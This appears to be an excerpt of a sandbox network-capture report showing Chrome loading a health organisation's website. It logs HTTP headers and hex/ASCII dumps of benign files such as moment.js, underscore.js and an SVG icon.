2024-04-24 12:45:10 UTC	15921	IN	Data Raw: 2f 2f 21 20 6d 6f 6d 65 6e 74 2e 6a 73 0a 0a 3b 28 66 75 6e 63 74 69 6f 6e 20 28 67 6c 6f 62 61 6c 2c 20 66 61 63 74 6f 72 79 29 20 7b 0a 20 20 20 20 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 20 3d 3d 3d 20 27 6f 62 6a 65 63 74 27 20 26 26 20 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 20 21 3d 3d 20 27 75 6e 64 65 66 69 6e 65 64 27 20 3f 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 20 3d 20 66 61 63 74 6f 72 79 28 29 20 3a 0a 20 20 20 20 74 79 70 65 6f 66 20 64 65 66 69 6e 65 20 3d 3d 3d 20 27 66 75 6e 63 74 69 6f 6e 27 20 26 26 20 64 65 66 69 6e 65 2e 61 6d 64 20 3f 20 64 65 66 69 6e 65 28 66 61 63 74 6f 72 79 29 20 3a 0a 20 20 20 20 67 6c 6f 62 61 6c 2e 6d 6f 6d 65 6e 74 20 3d 20 66 61 63 74 6f 72 79 28 29 0a 7d 28 74 68 69 73 2c 20 28 66 75 6e 63 74 69 6f Data Ascii: //! moment.js;(function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? module.exports = factory() : typeof define === 'function' && define.amd ? define(factory) : global.moment = factory()}(this, (functio
2024-04-24 12:45:10 UTC	16384	IN	Data Raw: 62 65 72 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 76 61 72 20 66 6f 72 6d 61 74 74 69 6e 67 54 6f 6b 65 6e 73 20 3d 20 2f 28 5c 5b 5b 5e 5c 5b 5d 2a 5c 5d 29 7c 28 5c 5c 29 3f 28 5b 48 68 5d 6d 6d 28 73 73 29 3f 7c 4d 6f 7c 4d 4d 3f 4d 3f 4d 3f 7c 44 6f 7c 44 44 44 6f 7c 44 44 3f 44 3f 44 3f 7c 64 64 64 3f 64 3f 7c 64 6f 3f 7c 77 5b 6f 7c 77 5d 3f 7c 57 5b 6f 7c 57 5d 3f 7c 51 6f 3f 7c 59 59 59 59 59 59 7c 59 59 59 59 59 7c 59 59 59 59 7c 59 59 7c 67 67 28 67 67 67 3f 29 3f 7c 47 47 28 47 47 47 3f 29 3f 7c 65 7c 45 7c 61 7c 41 7c 68 68 3f 7c 48 48 3f 7c 6b 6b 3f 7c 6d 6d 3f 7c 73 73 3f 7c 53 7b 31 2c 39 7d 7c 78 7c 58 7c 7a 7a 3f 7c 5a 5a 3f 7c 2e 29 2f 67 3b 0a 0a 20 20 20 20 76 61 72 20 6c 6f 63 61 6c 46 6f 72 6d 61 74 74 69 6e 67 54 6f 6b 65 6e 73 20 3d Data Ascii: ber; } var formattingTokens = /(\[[^\[]*\])\|(\\)?([Hh]mm(ss)?\|Mo\|MM?M?M?\|Do\|DDDo\|DD?D?D?\|ddd?d?\|do?\|w[o\|w]?\|W[o\|W]?\|Qo?\|YYYYYY\|YYYYY\|YYYY\|YY\|gg(ggg?)?\|GG(GGG?)?\|e\|E\|a\|A\|hh?\|HH?\|kk?\|mm?\|ss?\|S{1,9}\|x\|X\|zz?\|ZZ?\|.)/g; var localFormattingTokens =
2024-04-24 12:45:10 UTC	16384	IN	Data Raw: 7b 0a 20 20 20 20 20 20 20 20 69 66 20 28 76 61 6c 75 65 20 21 3d 20 6e 75 6c 6c 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 65 74 4d 6f 6e 74 68 28 74 68 69 73 2c 20 76 61 6c 75 65 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 6f 6f 6b 73 2e 75 70 64 61 74 65 4f 66 66 73 65 74 28 74 68 69 73 2c 20 74 72 75 65 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 74 68 69 73 3b 0a 20 20 20 20 20 20 20 20 7d 20 65 6c 73 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 67 65 74 28 74 68 69 73 2c 20 27 4d 6f 6e 74 68 27 29 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 7d 0a 0a 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 67 65 74 44 61 79 73 49 6e 4d 6f 6e 74 68 20 28 29 20 7b 0a 20 20 20 20 20 20 20 20 72 65 74 75 72 6e Data Ascii: { if (value != null) { setMonth(this, value); hooks.updateOffset(this, true); return this; } else { return get(this, 'Month'); } } function getDaysInMonth () { return
2024-04-24 12:45:10 UTC	16384	IN	Data Raw: 3a 20 4e 61 4e 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 2f 2f 20 62 65 68 61 76 65 73 20 74 68 65 20 73 61 6d 65 20 61 73 20 6d 6f 6d 65 6e 74 23 64 61 79 20 65 78 63 65 70 74 0a 20 20 20 20 20 20 20 20 2f 2f 20 61 73 20 61 20 67 65 74 74 65 72 2c 20 72 65 74 75 72 6e 73 20 37 20 69 6e 73 74 65 61 64 20 6f 66 20 30 20 28 31 2d 37 20 72 61 6e 67 65 20 69 6e 73 74 65 61 64 20 6f 66 20 30 2d 36 29 0a 20 20 20 20 20 20 20 20 2f 2f 20 61 73 20 61 20 73 65 74 74 65 72 2c 20 73 75 6e 64 61 79 20 73 68 6f 75 6c 64 20 62 65 6c 6f 6e 67 20 74 6f 20 74 68 65 20 70 72 65 76 69 6f 75 73 20 77 65 65 6b 2e 0a 0a 20 20 20 20 20 20 20 20 69 66 20 28 69 6e 70 75 74 20 21 3d 20 6e 75 6c 6c 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 77 Data Ascii: : NaN; } // behaves the same as moment#day except // as a getter, returns 7 instead of 0 (1-7 range instead of 0-6) // as a setter, sunday should belong to the previous week. if (input != null) { var w
2024-04-24 12:45:10 UTC	16384	IN	Data Raw: 69 6e 67 46 6c 61 67 73 28 6d 29 2e 5f 6f 76 65 72 66 6c 6f 77 44 61 79 4f 66 59 65 61 72 20 26 26 20 28 6f 76 65 72 66 6c 6f 77 20 3c 20 59 45 41 52 20 7c 7c 20 6f 76 65 72 66 6c 6f 77 20 3e 20 44 41 54 45 29 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6f 76 65 72 66 6c 6f 77 20 3d 20 44 41 54 45 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 67 65 74 50 61 72 73 69 6e 67 46 6c 61 67 73 28 6d 29 2e 5f 6f 76 65 72 66 6c 6f 77 57 65 65 6b 73 20 26 26 20 6f 76 65 72 66 6c 6f 77 20 3d 3d 3d 20 2d 31 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6f 76 65 72 66 6c 6f 77 20 3d 20 57 45 45 4b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 Data Ascii: ingFlags(m)._overflowDayOfYear && (overflow < YEAR \|\| overflow > DATE)) { overflow = DATE; } if (getParsingFlags(m)._overflowWeeks && overflow === -1) { overflow = WEEK; } if
2024-04-24 12:45:10 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 63 6f 6e 66 69 67 2e 5f 61 5b 48 4f 55 52 5d 20 3e 20 30 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 67 65 74 50 61 72 73 69 6e 67 46 6c 61 67 73 28 63 6f 6e 66 69 67 29 2e 62 69 67 48 6f 75 72 20 3d 20 75 6e 64 65 66 69 6e 65 64 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 67 65 74 50 61 72 73 69 6e 67 46 6c 61 67 73 28 63 6f 6e 66 69 67 29 2e 70 61 72 73 65 64 44 61 74 65 50 61 72 74 73 20 3d 20 63 6f 6e 66 69 67 2e 5f 61 2e 73 6c 69 63 65 28 30 29 3b 0a 20 20 20 20 20 20 20 20 67 65 74 50 61 72 73 69 6e 67 46 6c 61 67 73 28 63 6f 6e 66 69 67 29 2e 6d 65 72 69 64 69 65 6d 20 3d 20 63 6f 6e 66 69 67 2e 5f 6d 65 72 69 64 69 65 6d 3b 0a 20 20 20 20 20 20 20 20 2f 2f 20 68 61 6e 64 6c 65 20 6d 65 72 69 64 69 Data Ascii: config._a[HOUR] > 0) { getParsingFlags(config).bigHour = undefined; } getParsingFlags(config).parsedDateParts = config._a.slice(0); getParsingFlags(config).meridiem = config._meridiem; // handle meridi
2024-04-24 12:45:10 UTC	16384	IN	Data Raw: 29 3b 0a 20 20 20 20 20 20 20 20 63 20 3d 20 70 72 65 70 61 72 65 43 6f 6e 66 69 67 28 63 29 3b 0a 0a 20 20 20 20 20 20 20 20 69 66 20 28 63 2e 5f 61 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 6f 74 68 65 72 20 3d 20 63 2e 5f 69 73 55 54 43 20 3f 20 63 72 65 61 74 65 55 54 43 28 63 2e 5f 61 29 20 3a 20 63 72 65 61 74 65 4c 6f 63 61 6c 28 63 2e 5f 61 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 68 69 73 2e 5f 69 73 44 53 54 53 68 69 66 74 65 64 20 3d 20 74 68 69 73 2e 69 73 56 61 6c 69 64 28 29 20 26 26 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6d 70 61 72 65 41 72 72 61 79 73 28 63 2e 5f 61 2c 20 6f 74 68 65 72 2e 74 6f 41 72 72 61 79 28 29 29 20 3e 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 20 65 6c 73 65 20 7b 0a 20 20 20 Data Ascii: ); c = prepareConfig(c); if (c._a) { var other = c._isUTC ? createUTC(c._a) : createLocal(c._a); this._isDSTShifted = this.isValid() && compareArrays(c._a, other.toArray()) > 0; } else {
2024-04-24 12:45:10 UTC	16384	IN	Data Raw: 34 30 30 20 79 65 61 72 20 63 79 63 6c 65 2c 20 74 68 65 6e 20 72 65 73 65 74 0a 20 20 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 6e 65 77 20 44 61 74 65 28 79 20 2b 20 34 30 30 2c 20 6d 2c 20 64 29 20 2d 20 4d 53 5f 50 45 52 5f 34 30 30 5f 59 45 41 52 53 3b 0a 20 20 20 20 20 20 20 20 7d 20 65 6c 73 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 6e 65 77 20 44 61 74 65 28 79 2c 20 6d 2c 20 64 29 2e 76 61 6c 75 65 4f 66 28 29 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 7d 0a 0a 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 75 74 63 53 74 61 72 74 4f 66 44 61 74 65 28 79 2c 20 6d 2c 20 64 29 20 7b 0a 20 20 20 20 20 20 20 20 2f 2f 20 44 61 74 65 2e 55 54 43 20 72 65 6d 61 70 73 20 79 65 61 72 73 20 30 2d 39 39 20 74 6f 20 31 39 30 Data Ascii: 400 year cycle, then reset return new Date(y + 400, m, d) - MS_PER_400_YEARS; } else { return new Date(y, m, d).valueOf(); } } function utcStartOfDate(y, m, d) { // Date.UTC remaps years 0-99 to 190
2024-04-24 12:45:10 UTC	16384	IN	Data Raw: 69 6e 66 6f 72 6d 61 74 69 6f 6e 27 2c 20 69 73 44 61 79 6c 69 67 68 74 53 61 76 69 6e 67 54 69 6d 65 53 68 69 66 74 65 64 29 3b 0a 0a 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 63 72 65 61 74 65 55 6e 69 78 20 28 69 6e 70 75 74 29 20 7b 0a 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 63 72 65 61 74 65 4c 6f 63 61 6c 28 69 6e 70 75 74 20 2a 20 31 30 30 30 29 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 63 72 65 61 74 65 49 6e 5a 6f 6e 65 20 28 29 20 7b 0a 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 63 72 65 61 74 65 4c 6f 63 61 6c 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 20 61 72 67 75 6d 65 6e 74 73 29 2e 70 61 72 73 65 5a 6f 6e 65 28 29 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 70 72 65 50 61 72 73 65 50 6f 73 74 46 Data Ascii: information', isDaylightSavingTimeShifted); function createUnix (input) { return createLocal(input * 1000); } function createInZone () { return createLocal.apply(null, arguments).parseZone(); } function preParsePostF
2024-04-24 12:45:10 UTC	3948	IN	Data Raw: 6f 6e 64 73 3b 0a 20 20 20 20 70 72 6f 74 6f 24 32 2e 61 73 53 65 63 6f 6e 64 73 20 20 20 20 20 20 3d 20 61 73 53 65 63 6f 6e 64 73 3b 0a 20 20 20 20 70 72 6f 74 6f 24 32 2e 61 73 4d 69 6e 75 74 65 73 20 20 20 20 20 20 3d 20 61 73 4d 69 6e 75 74 65 73 3b 0a 20 20 20 20 70 72 6f 74 6f 24 32 2e 61 73 48 6f 75 72 73 20 20 20 20 20 20 20 20 3d 20 61 73 48 6f 75 72 73 3b 0a 20 20 20 20 70 72 6f 74 6f 24 32 2e 61 73 44 61 79 73 20 20 20 20 20 20 20 20 20 3d 20 61 73 44 61 79 73 3b 0a 20 20 20 20 70 72 6f 74 6f 24 32 2e 61 73 57 65 65 6b 73 20 20 20 20 20 20 20 20 3d 20 61 73 57 65 65 6b 73 3b 0a 20 20 20 20 70 72 6f 74 6f 24 32 2e 61 73 4d 6f 6e 74 68 73 20 20 20 20 20 20 20 3d 20 61 73 4d 6f 6e 74 68 73 3b 0a 20 20 20 20 70 72 6f 74 6f 24 32 2e 61 73 51 75 61 Data Ascii: onds; proto$2.asSeconds = asSeconds; proto$2.asMinutes = asMinutes; proto$2.asHours = asHours; proto$2.asDays = asDays; proto$2.asWeeks = asWeeks; proto$2.asMonths = asMonths; proto$2.asQua

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
265	192.168.2.4	50107	172.67.11.155	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:09 UTC	464	OUT	GET /cache/app/wildcards.json HTTP/1.1 Host: cdn.acsbapp.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 If-None-Match: "de3119f737ac997fbb853cf24e7025b5" If-Modified-Since: Fri, 19 Apr 2024 00:00:03 GMT
2024-04-24 12:45:10 UTC	736	IN	HTTP/1.1 304 Not Modified Date: Wed, 24 Apr 2024 12:45:10 GMT Connection: close Cache-Control: no-cache expires: Thu, 24 Apr 2025 12:44:32 GMT last-modified: Fri, 19 Apr 2024 00:00:03 GMT etag: "de3119f737ac997fbb853cf24e7025b5" x-goog-generation: 1713484803296703 x-goog-metageneration: 1 x-goog-stored-content-encoding: identity x-goog-stored-content-length: 212 x-goog-hash: crc32c=3RTOjg== x-goog-hash: md5=3jEZ9zesmX+7hTzyTnAltQ== x-goog-storage-class: STANDARD access-control-allow-origin: * access-control-expose-headers: * x-guploader-uploadid: ABPtcPpjwrlODOGe_M1_3nbRujKT53UnTQcp6qu9-ak2ZbIs3clNIrK2YrRrB5Z-P2gCunlhb5cmkPsBvg CF-Cache-Status: HIT Age: 38 Server: cloudflare CF-RAY: 87963059bf9b69e3-LAS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
266	192.168.2.4	50106	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:09 UTC	785	OUT	GET /wp-content/uploads/2020/07/icon__service_1.svg HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962708.0.0.0; _ga=GA1.1.446872372.1713962665
2024-04-24 12:45:10 UTC	419	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:45:10 GMT Content-Type: image/svg+xml Content-Length: 2326 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Mon, 04 Sep 2023 09:19:44 GMT Vary: Accept-Encoding ETag: "64f5a130-916" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:45:10 UTC	2326	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0a 3c 73 76 67 20 77 69 64 74 68 3d 22 37 30 22 20 68 65 69 67 68 74 3d 22 37 30 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 37 30 20 37 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0a 09 3c 74 69 74 6c 65 3e 49 63 6f 6e 20 53 65 72 76 69 63 65 3c 2f 74 69 74 6c 65 3e 0a 3c 70 61 74 68 20 6f 70 61 63 69 74 79 3d 22 30 2e 31 35 22 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 63 6c 69 70 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 64 3d 22 4d 33 35 2e 32 33 38 34 20 36 39 2e 34 37 36 38 43 35 34 2e 34 32 33 39 20 36 39 Data Ascii: <?xml version="1.0" encoding="utf-8"?><svg width="70" height="70" viewBox="0 0 70 70" fill="none" xmlns="http://www.w3.org/2000/svg"><title>Icon Service</title><path opacity="0.15" fill-rule="evenodd" clip-rule="evenodd" d="M35.2384 69.4768C54.4239 69

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
267	192.168.2.4	50111	104.17.25.14	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:09 UTC	570	OUT	GET /ajax/libs/underscore.js/1.8.3/underscore-min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:45:10 UTC	955	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 12:45:10 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb04015-4041" Last-Modified: Mon, 04 May 2020 16:17:25 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 13569 Expires: Mon, 14 Apr 2025 12:45:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DrNCHojW4A0P1f0pRqhmzVx6uXD2Rf3djepkZr82drN02Ge1SWh3ETy54Jo9cGvUZHuqxkyiT2Dqjhv1zjpwJ1S29mmVNrjuVHfYAL%2BchHLNWzK5Xwu4Kc4WADoSvwqsdb0X4MC%2B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8796305a8bd809ef-LAS alt-svc: h3=":443"; ma=86400
2024-04-24 12:45:10 UTC	414	IN	Data Raw: 34 30 34 31 0d 0a 2f 2f 20 20 20 20 20 55 6e 64 65 72 73 63 6f 72 65 2e 6a 73 20 31 2e 38 2e 33 0a 2f 2f 20 20 20 20 20 68 74 74 70 3a 2f 2f 75 6e 64 65 72 73 63 6f 72 65 6a 73 2e 6f 72 67 0a 2f 2f 20 20 20 20 20 28 63 29 20 32 30 30 39 2d 32 30 31 35 20 4a 65 72 65 6d 79 20 41 73 68 6b 65 6e 61 73 2c 20 44 6f 63 75 6d 65 6e 74 43 6c 6f 75 64 20 61 6e 64 20 49 6e 76 65 73 74 69 67 61 74 69 76 65 20 52 65 70 6f 72 74 65 72 73 20 26 20 45 64 69 74 6f 72 73 0a 2f 2f 20 20 20 20 20 55 6e 64 65 72 73 63 6f 72 65 20 6d 61 79 20 62 65 20 66 72 65 65 6c 79 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 73 65 2e 0a 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 6e 28 6e 29 7b 66 75 6e 63 74 69 6f 6e Data Ascii: 4041// Underscore.js 1.8.3// http://underscorejs.org// (c) 2009-2015 Jeremy Ashkenas, DocumentCloud and Investigative Reporters & Editors// Underscore may be freely distributed under the MIT license.(function(){function n(n){function
2024-04-24 12:45:10 UTC	1369	IN	Data Raw: 3a 61 2d 31 3b 72 65 74 75 72 6e 20 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3c 33 26 26 28 75 3d 72 5b 6f 3f 6f 5b 63 5d 3a 63 5d 2c 63 2b 3d 6e 29 2c 74 28 72 2c 65 2c 75 2c 6f 2c 63 2c 61 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 74 28 6e 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 74 2c 72 2c 65 29 7b 72 3d 78 28 72 2c 65 29 3b 66 6f 72 28 76 61 72 20 75 3d 4f 28 74 29 2c 69 3d 6e 3e 30 3f 30 3a 75 2d 31 3b 69 3e 3d 30 26 26 75 3e 69 3b 69 2b 3d 6e 29 69 66 28 72 28 74 5b 69 5d 2c 69 2c 74 29 29 72 65 74 75 72 6e 20 69 3b 72 65 74 75 72 6e 2d 31 7d 7d 66 75 6e 63 74 69 6f 6e 20 72 28 6e 2c 74 2c 72 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 2c 75 2c 69 29 7b 76 61 72 20 6f 3d 30 2c 61 3d 4f 28 65 29 3b 69 66 28 22 6e 75 6d 62 Data Ascii: :a-1;return arguments.length<3&&(u=r[o?o[c]:c],c+=n),t(r,e,u,o,c,a)}}function t(n){return function(t,r,e){r=x(r,e);for(var u=O(t),i=n>0?0:u-1;i>=0&&u>i;i+=n)if(r(t[i],i,t))return i;return-1}}function r(n,t,r){return function(e,u,i){var o=0,a=O(e);if("numb
2024-04-24 12:45:10 UTC	1369	IN	Data Raw: 63 61 6c 6c 28 74 2c 72 2c 65 2c 75 2c 69 29 7d 7d 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6e 2e 61 70 70 6c 79 28 74 2c 61 72 67 75 6d 65 6e 74 73 29 7d 7d 2c 78 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 2c 72 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 6e 3f 6d 2e 69 64 65 6e 74 69 74 79 3a 6d 2e 69 73 46 75 6e 63 74 69 6f 6e 28 6e 29 3f 62 28 6e 2c 74 2c 72 29 3a 6d 2e 69 73 4f 62 6a 65 63 74 28 6e 29 3f 6d 2e 6d 61 74 63 68 65 72 28 6e 29 3a 6d 2e 70 72 6f 70 65 72 74 79 28 6e 29 7d 3b 6d 2e 69 74 65 72 61 74 65 65 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 29 7b 72 65 74 75 72 6e 20 78 28 6e 2c 74 2c 31 2f 30 29 7d 3b 76 61 72 20 5f 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e Data Ascii: call(t,r,e,u,i)}}return function(){return n.apply(t,arguments)}},x=function(n,t,r){return null==n?m.identity:m.isFunction(n)?b(n,t,r):m.isObject(n)?m.matcher(n):m.property(n)};m.iteratee=function(n,t){return x(n,t,1/0)};var _=function(n,t){return function
2024-04-24 12:45:10 UTC	1369	IN	Data Raw: 29 2c 72 29 7d 2c 6d 2e 65 76 65 72 79 3d 6d 2e 61 6c 6c 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 2c 72 29 7b 74 3d 78 28 74 2c 72 29 3b 66 6f 72 28 76 61 72 20 65 3d 21 6b 28 6e 29 26 26 6d 2e 6b 65 79 73 28 6e 29 2c 75 3d 28 65 7c 7c 6e 29 2e 6c 65 6e 67 74 68 2c 69 3d 30 3b 75 3e 69 3b 69 2b 2b 29 7b 76 61 72 20 6f 3d 65 3f 65 5b 69 5d 3a 69 3b 69 66 28 21 74 28 6e 5b 6f 5d 2c 6f 2c 6e 29 29 72 65 74 75 72 6e 21 31 7d 72 65 74 75 72 6e 21 30 7d 2c 6d 2e 73 6f 6d 65 3d 6d 2e 61 6e 79 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 2c 72 29 7b 74 3d 78 28 74 2c 72 29 3b 66 6f 72 28 76 61 72 20 65 3d 21 6b 28 6e 29 26 26 6d 2e 6b 65 79 73 28 6e 29 2c 75 3d 28 65 7c 7c 6e 29 2e 6c 65 6e 67 74 68 2c 69 3d 30 3b 75 3e 69 3b 69 2b 2b 29 7b 76 61 72 20 6f 3d 65 3f 65 5b Data Ascii: ),r)},m.every=m.all=function(n,t,r){t=x(t,r);for(var e=!k(n)&&m.keys(n),u=(e\|\|n).length,i=0;u>i;i++){var o=e?e[i]:i;if(!t(n[o],o,n))return!1}return!0},m.some=m.any=function(n,t,r){t=x(t,r);for(var e=!k(n)&&m.keys(n),u=(e\|\|n).length,i=0;u>i;i++){var o=e?e[
2024-04-24 12:45:10 UTC	1369	IN	Data Raw: 20 6e 75 6c 6c 3d 3d 74 7c 7c 72 3f 28 6b 28 6e 29 7c 7c 28 6e 3d 6d 2e 76 61 6c 75 65 73 28 6e 29 29 2c 6e 5b 6d 2e 72 61 6e 64 6f 6d 28 6e 2e 6c 65 6e 67 74 68 2d 31 29 5d 29 3a 6d 2e 73 68 75 66 66 6c 65 28 6e 29 2e 73 6c 69 63 65 28 30 2c 4d 61 74 68 2e 6d 61 78 28 30 2c 74 29 29 7d 2c 6d 2e 73 6f 72 74 42 79 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 2c 72 29 7b 72 65 74 75 72 6e 20 74 3d 78 28 74 2c 72 29 2c 6d 2e 70 6c 75 63 6b 28 6d 2e 6d 61 70 28 6e 2c 66 75 6e 63 74 69 6f 6e 28 6e 2c 72 2c 65 29 7b 72 65 74 75 72 6e 7b 76 61 6c 75 65 3a 6e 2c 69 6e 64 65 78 3a 72 2c 63 72 69 74 65 72 69 61 3a 74 28 6e 2c 72 2c 65 29 7d 7d 29 2e 73 6f 72 74 28 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 29 7b 76 61 72 20 72 3d 6e 2e 63 72 69 74 65 72 69 61 2c 65 3d 74 2e 63 Data Ascii: null==t\|\|r?(k(n)\|\|(n=m.values(n)),n[m.random(n.length-1)]):m.shuffle(n).slice(0,Math.max(0,t))},m.sortBy=function(n,t,r){return t=x(t,r),m.pluck(m.map(n,function(n,r,e){return{value:n,index:r,criteria:t(n,r,e)}}).sort(function(n,t){var r=n.criteria,e=t.c
